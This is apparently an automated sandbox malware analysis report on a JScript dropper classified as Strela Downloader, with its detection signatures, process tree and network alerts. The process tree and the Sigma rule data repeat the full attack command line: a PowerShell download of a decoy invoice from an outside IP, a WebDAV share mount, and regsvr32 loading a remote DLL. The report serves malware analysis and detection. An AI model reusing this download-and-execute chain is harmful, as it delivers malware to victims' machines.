Edit tour

Windows Analysis Report
1926422634111517010.js

Overview

General Information

Sample name:	1926422634111517010.js
Analysis ID:	1588030
MD5:	9b7c2d82614c8bf2c172db91faac3836
SHA1:	8750a45e2c0130c167102c58536b72b3b4536c17
SHA256:	527713f6074ba8f6df775621d09f3ac37cb1e86d4b3535fb38b58ac6cffccca0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7712 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7760 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7812 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1540,i,11543960135452201056,16608610189234339836,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8024 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8100 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7460 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7712	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ProcessId: 7712, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8100, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ProcessId: 7712, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8100, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7460, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8100, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll, ProcessId: 7760, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:46:06.845173+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:46:04.117349+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1926422634111517010.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1926422634111517010.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:46:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

